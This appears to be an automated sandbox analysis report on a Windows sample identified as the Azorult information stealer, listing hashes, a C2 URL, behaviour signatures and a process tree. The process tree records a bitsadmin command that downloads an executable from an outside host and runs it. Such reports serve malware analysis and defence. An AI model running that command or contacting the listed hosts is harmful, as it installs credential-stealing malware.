Analysis

  • max time kernel
    172s
  • max time network
    176s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    07/06/2022, 14:39

General

  • Target
    1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
  • Size 225KB
  • Sample220607-r1r2fscham
  • SHA256 1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • azorult

C2
  • http://185.143.223.196/panel/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
    "C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k bitsadmin /transfer ringtone http://cw57146.tmweb.ru/upload/moy.exe %userprofile%\sec.exe&timeout 40&start %userprofile%\sec.exe&Exit 5
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\SysWOW64\bitsadmin.exe
        bitsadmin /transfer ringtone http://cw57146.tmweb.ru/upload/moy.exe C:\Users\Admin\sec.exe
        3⤵
        • Download via BitsAdmin
        PID:4348
    • C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe
      "C:\Users\Admin\AppData\Local\Temp\1ca02a0151f487de8b61060916e28c9319a444794ee858b0cf158f2a1ed94dcb.exe"
      2⤵
        PID:2336

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2336-134-0x0000000000400000-0x0000000000420000-memory.dmp

          memory/2336-136-0x0000000000400000-0x0000000000420000-memory.dmp

          memory/2336-138-0x0000000000400000-0x0000000000420000-memory.dmp

          memory/2336-139-0x0000000000400000-0x0000000000420000-memory.dmp

          memory/2336-140-0x0000000000400000-0x0000000000420000-memory.dmp